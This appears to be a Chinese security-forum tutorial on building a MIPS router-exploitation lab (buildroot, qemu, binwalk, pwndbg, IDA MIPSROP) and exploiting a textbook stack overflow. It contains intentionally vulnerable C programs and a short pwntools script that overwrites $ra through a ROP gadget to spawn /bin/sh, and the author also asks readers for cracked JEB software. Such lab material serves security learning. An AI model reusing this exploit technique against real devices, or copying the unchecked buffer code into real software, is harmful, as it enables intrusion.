MIPS漏洞调试环境安装及栈溢出

raycp / 2019-02-23 09:19:00 / 浏览数 1936 安全技术 IoT安全 顶(0) 踩(0)

MIPS漏洞调试环境安装及栈溢出

近来这段时间开始学习设备相关漏洞，自然一开始就是装环境和调试一个栈溢出漏洞来体验下MIPS指令和x86的区别。这篇文章是看《揭秘家用路由器0day漏洞挖掘技术》

环境安装

环境安装主要包括三个部分，分别是：

- 静态分析环境安装
- MIPS交叉编译环境安装
- 动态调试环境安装
- qemu模拟运行mips系统

静态分析环境安装

主要是IDA，IDA的安装就不用多说了。这里说明的是辅助插件MIPSROP这些插件的安装，书里面给的插件的链接已经无法支持IDA
6.7以后的版本，主要是由于版本以后的API有更新，具体原因IDA的官方博客也给出了说明，查看了issue以后，发现有大佬已经写了能够支持IDA7.0的插件，安装的命令照

MIPSROP的主要用法如下，文章后续用到的命令是`mipsrop.stackfinders()`：

```
mipsrop.help()

mipsrop.find(instruction_string)
--------------------------------------------------------------------------------
       Locates all potential ROP gadgets that contain the specified instruction.
mipsrop.system()
--------------------------------------------------------------------------------
       Prints a list of gadgets that may be used to call system().
mipsrop.doubles()
--------------------------------------------------------------------------------
       Prints a list of all "double jump" gadgets (useful for function calls).
mipsrop.stackfinders()
--------------------------------------------------------------------------------
       Prints a list of all gadgets that put a stack address into a register.
mipsrop.tails()
--------------------------------------------------------------------------------
       Prints a lits of all tail call gadgets (useful for function calls).
mipsrop.set_base()
--------------------------------------------------------------------------------
       Set base address used for display
mipsrop.summary()
--------------------------------------------------------------------------------
       Prints a summary of your currently marked ROP gadgets, in alphabetical order by the marked name.
       To mark a location as a ROP gadget, simply mark the position in IDA (Alt+M) with any name that starts with "ROP".
```

另外就是反编译插件，找了下寻找到`Retdec`，可以用来反编译。

还有一个静态分析工具，就是jeb
mips，它可以看汇编代码，同时也支持反编译，但是在官网下载的体验版的是不支持反编译功能的，同时我也搜了一些破解版也没找到能用的，如果大佬有的话，跪求。jeb
mips也有rop插件，名字是`PleaseROP`。

MIPS交叉编译环境环境安装

buildroot是Linux平台上一个构建嵌入式Linux系统的框架。整个Buildroot是由Makefile脚本和Kconfig配置文件构成的。可以和编译Linux内核一样，通过buildroot配置，

1. 下载buildroot

```
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
```

2. 配置buildroot

```
sudo apt-get install libncurses-dev patch
make clean
make menuconfig
```

在出现界面后，选择第一项“Target Architecture”，改成MIPS（little endian），另外，选择“Toolchain”，务必将“Kernel Headers”的Linux版本改成你自己主机的Linux版本（因为我们编译出的MIPS交叉工具是需要在我们的主机上运行的）

3. 安装

```
sudo apt-get install texinfo
sudo apt-get install bison
sudo apt-get install flex
sudo make
```

经过约一小时，编译完成后，在buildroot文件夹下多了一个output文件夹，其中就是编译好的文件，可以在buildroot/output/host/usr/bin找到生成的交叉编译工具，

4. 配置环境变量，使得可以直接使用命令编译文件。

```
gedit ~/.bashrc
export PATH=$PATH:/Your_Path/buildroot/output/host/usr/bin
source ~/.bashrc
```

5. 测试

```
#include<stdio.h>

int vul(char* src)
{
   char output[20]={0};
   strcpy(output,src);
   printf("%s\n",output);
   return 0;
}

int main(int argc,char *argv[])
{
   if(argc<2){
       printf("need more argument\n");
       return 1;
   }
   vul(argv[1]);
   return 0;
}
```

静态编译生成二进制文件`mips-linux-gcc -o hello hello.c -static`，使用`file`查看文件类型，可以看到生成了mips的elf文件。

动态调试环境安装

需要事先声明的是我安装的环境是ubuntu
16.4，一开始我是在18.4上面安装的，但是好像由于pwndbg对18.4支持不友好，导致远程调试的时候失败，换成了16.4就好了。

主要包括binwalk、qemu、pwndbg以及gdb-multidbg。

binwalk主要用于从固件镜像中提取文件。
安装命令：

```
sudo apt-get update
sudo apt-get install build-essential autoconf git

# https://github.com/devttys0/binwalk/blob/master/INSTALL.md
git clone https://github.com/devttys0/binwalk.git
cd binwalk

# python2.7■■
sudo python setup.py install

# python2.7■■■■■■■
sudo apt-get install python-lzma

sudo apt-get install python-crypto

sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
```

```
sudo pip install pyqtgraph

sudo apt-get install python-pip
sudo pip install capstone

# Install standard extraction utilities■■■■
sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools

# Install sasquatch to extract non-standard SquashFS images■■■■
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
(cd sasquatch && ./build.sh)

# Install jefferson to extract JFFS2 file systems■■■■
sudo pip install cstruct
git clone https://github.com/sviehb/jefferson
(cd jefferson && sudo python setup.py install)

# Install ubi_reader to extract UBIFS file systems■■■■
sudo apt-get install liblzo2-dev python-lzo
git clone https://github.com/jrspruitt/ubi_reader
(cd ubi_reader && sudo python setup.py install)

# Install yaffshiv to extract YAFFS file systems■■■■
git clone https://github.com/devttys0/yaffshiv
(cd yaffshiv && sudo python setup.py install)

# Install unstuff (closed source) to extract StuffIt archive files■■■■

wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
sudo cp bin/unstuff /usr/local/bin/
```

使用命令：

```
binwalk -Me firmware.bin
```

qemu为模拟器，主要用于模拟mips程序的运行。主要有两种模式：

1. User Mode，亦称为用户模式。qemu能启动那些为不同处理器编译的Linux程序。
2. System Mode，亦称为系统模式。qemu能够模拟整个计算机系统。

qemu使用者模式mips程序共有两种模拟程序，分别是运行大端机格式的qume-mips和小端机格式的qume-mipsel，他们的执行参数都是一样的。我主要用的是用户模式。

安装命令：

```
sudo apt-get install qemu
apt-get install qemu binfmt-support qemu-user-static
```

运行：

```
qemu-mipsel  ./hello
```

对于没有添加静态编译选项`-static`的elf文件，在运行的时候会报错，报错为：`/lib/ld-uClibc.so.0: No such file or directory`，原因是没有库的链接，这时我们只需要找到该库，使用`qemu-mipsel -L /Your_Path/buildroot/output/target/ hello`即可运行。

对于动态调试，书上推荐的是IDA远程调试，网上教程也很多，方法也比较简单，不再描述。习惯了gdb调试的我，用不习惯ida，于是在网上找到了gdb远程调试的教程。

首先是安装pwndbg，peda对于mips的动态调试没有太好的支持。pwndbg的安装命令：

```
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
```

接着是安装`gdb-multiarch`，安装命令：

```
sudo apt-get install gdb-multiarch
```

安装完毕后，整个远程动态调试的过程为：

1. 使用命令`qemu-mipsel -g 1234 -L /Your_Path/buildroot/output/target/ hello`将程序运行起来，`-g 1234`的意思表示为监听端口1234，用于远程调试。

2. 使用gdb-multiarch ./hello来开启gdb。
3. 进入gdb后，使用命令target remote 127.0.0.1:1234，即开始调试程序。

用gdb-multiarch调试，相较于ida远程调试来说，对于用习惯了gdb调试的人来说应该会方便不少，而且还有pwndbg的支持。

qemu模拟运行mips系统

配置网络环境

获取安装依赖文件：

```
sudo apt-get install bridge-utils uml-utilities
```

配置网卡。
首先打开配置文件：

```
sudo gedit /etc/network/interfaces
```

写入以下内容：

```
auto lo
iface lo inet loopback

auto ens33
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up

auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 1
```

创建QEMU的网络接口启动脚本，重启网络使配置生效。
创建并编辑 /etc/qemu-ifup 文件:

```
sudo gedit /etc/qemu-ifup
```

写入以下内容：

```
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3
```

保存并赋予文件/etc/qemu-ifup可执行权限，然后重启网络使所有的配置生效。

```
sudo chmod a+x /etc/qemu-ifup
# ■■■■■■■■■
sudo /etc/init.d/networking restart
```

2. QEMU的启动配置，启动桥连网络。

```
sudo ifdown ens33
sudo ifup br0
```

配置mips虚拟机

debian mips qemu镜像链接：https://people.debian.org/~aurel32/qemu/mips/
选择 debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
启动虚拟机：

```
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/s
```

虚拟机启动后，可使用root/root登录进去。

可能会网络不通，此时的解决方法为：
ifconfig -a 看一下发现网络接口如果为eth1，将 /etc/network/interfaces 文件中的eth0改为eth1。再用ifup eth1
将eth1启起来，运气好的话此时网络已经好了。

可在ubuntu上用SSH连接虚拟机，ssh root@虚拟机ip
将之前解压的固件包拷贝到虚拟机里面：
scp -r ./squashfs-root root@虚拟机ip:/root/
完成搭建路由器固件运行的环境。

到这里，环境安装的部分就完成了。

MIPS栈溢出

这一部分主要描述MIPS中的栈溢出相关的知识，假设大家已经有一定的x86漏洞利用经验。首先是介绍MIPS汇编的一些和x86不一样的地方，其次是一个简单栈溢出漏洞的

Mips 汇编基础

MIPS32寄存器分为两类：通用寄存器（GPR）和特殊寄存器。
通用寄存器：MIPS体系结构中有32个通用寄存器，汇编程序中用$0~$31表示。也可以用名称表示，如$sp、$t1、$ra等。

编号	寄存器名称	描述
$0	$zero	第0号寄存器，其值始终为0。
$1	$at	保留寄存器
$2-$3	$v0-$v1	values，保存表达式或函数返回结果
$4-$7	$a0-$a3	argument，作为函数的前四个参数
$8-$15	$t0-$t7	temporaries，供汇编程序使用的临时寄存器
$16-$23	$s0-$s7	saved values，子函数使用时需先保存原寄存器的值
$24-$25	$t8-$t9	temporaries，供汇编程序使用的临时寄存器，补充$t0-$t7。
$26-$27	$k0-$k1	保留，中断处理函数使用
$28	$gp	global pointer，全局指针
$29	$sp	stack pointer，堆栈指针，指向堆栈的栈顶
$30	$fp	frame pointer，保存栈指针
$31	$ra	return address，返回地址

特殊寄存器：有3个特殊寄存器：PC（程序计数器）、HI（乘除结果高位寄存器）和LO（乘除结果低位寄存器）。在乘法时，HI保存高32位，LO保存低32位。除法时HI保存

寻址方式：寄存器寻址、立即数寻址、寄存器相对寻址和PC相对寻址。

指令特点：

- 固定4字节指令长度。
- 内存中的数据访问（load/store）必须严格对齐。
- MIPS默认不把子函数的返回地址存放到栈中，而是存放到$ra寄存器中。
- 流水线效应。MIPS采用了高度的流水线，其中一个重要的效应时分支延迟效应。

系统调用指令：SYSCALL指令是一个软中断，系统调用号存放在$v0中，参数存放在$a0-$a3中，如果参数过多，会存放在栈中。

MIPS32架构函数调用时对堆栈的分配和使用方式与x86架构有相似之处，但又有很大的区别。区别具体体现在：

- 栈操作：与x86架构一样，都是向低地址增长的。但是没有EBP（栈底指针），进入一个函数时，需要将当前栈指针向下移动n比特，这个大小为n比特的存储空间就是此函
- 调用：如果函数A调用函数B，调用者函数（函数A）会在自己的栈顶预留一部分空间来保存被调用者（函数B）的参数，称之为调用参数空间。
- 参数传递方式：前四个参数通过$a0-$a3传递，多余的参数会放入调用参数空间。
- 返回地址：在x86架构中，使用call命令调用函数时，会先将当前执行位置压入堆栈，MIPS的调用指令把函数的返回地址直接存入$RA寄存器而不是堆栈中。

两个概念：

- 叶子函数：当前函数不再调用其他函数。
- 非叶子函数：当前函数调用其他函数。

函数调用的过程：父函数调用子函数时，复制当前$PC的值到$RA寄存器，然后跳到子函数执行；到子函数时，子函数如果为非叶子函数，则子函数的返回地址会先存入堆栈
$ra"直接返回，否则先从堆栈取出再返回。

利用堆栈溢出的可行性：在非叶子函数中，可以覆盖返回地址，劫持程序执行流程；而在非叶子函数中，可通过覆盖父函数的返回地址实现漏洞利用。

栈溢出实例

在有了前面的基础后，最后再介绍一个具体的实例。

首先是源代码，是书上的一个简单栈溢出的代码：

```
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code,char *cmd)
```

```
{
   char buf[255];
   //sleep(1);
   system(cmd);
}

void main()
{
   char buf[256]={0};
   char ch;
   int count = 0;
   unsigned int fileLen = 0;
   struct stat fileData;
   FILE *fp;

   if(0 == stat("passwd",&fileData))
       fileLen = fileData.st_size;
   else
       return 1;

   if((fp = fopen("passwd","rb")) == NULL)
   {
       printf("Cannot open file passwd!n");
       exit(1);
   }
   ch=fgetc(fp);

   while(count <= fileLen)
   {
       buf[count++] = ch;
       ch = fgetc(fp);
   }
   buf[--count] = '\x00';

   if(!strcmp(buf,"adminpwd\n"))
   {
       do_system(count,"ls -l");
   }
   else
   {
       printf("you have an invalid password!\n");
   }
   fclose(fp);
}
```

可以看到栈溢出是对于输入的长度没有进行检查，同时代码中存在一个do_system函数，只要我们构造好参数，就可以利用。

其次是编译该程序，使用下面的命令编译得到程序 stack_vuln。

```
mipsel-linux-gcc -static stack_vuln.c -o stack_vuln
```

将编译生成的程序拖到IDA里面查看，确定输入字符串长度为多少时可以覆盖到$ra,可以得到：

```
offset=saved_ra-buf_addr=-0x4-0x1a0=0x19c
```

接着是要搞清楚用什么覆盖$ra,源程序里面我们看到do_system函数，只需要布置好第二个参数寄存器$a1，同时将$ra覆盖为do_system地址即可。使用ida插件MIPSRO

```
Python>mipsrop.stackfinders()
-------------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                            |  Control Jump                          |
-------------------------------------------------------------------------------------------------------------------
|  0x004038D0  |  addiu $a1,$sp,0x58+var_40                         |  jr    0x58+var_4($sp)                 |
-------------------------------------------------------------------------------------------------------------------
```

可以看到要在$sp+0x18的位置放入/bin/sh同时在$sp+0x54的位置放入do_system函数的位置就可以得到shell。
最后写出来生成passwd的脚本文件为：

```
from pwn import *

do_system_addr=0x400390
stack_finder_addr=0x004038D0
```

```
f=open("passwd","wb")
data='a'*(0x1a0-4)
data+=p32(stack_finder_addr)
data+='a'*0x18
data+='/bin/sh\x00'
data=data.ljust(0x1a0+0x54,'a')
data+=p32(do_system_addr)
f.write(data)
f.close()
```

可以使用gdb-multiarch调试跟踪程序的执行过程。

小结

万事开头难，还有很长的路要走。相关脚本在我的github

上一篇：CVE-2019-0539产生的根源分析 下一篇：区块链安全—庞氏代币漏洞分析

1. 0 条回复
   - 动动手指，沙发就是你的了！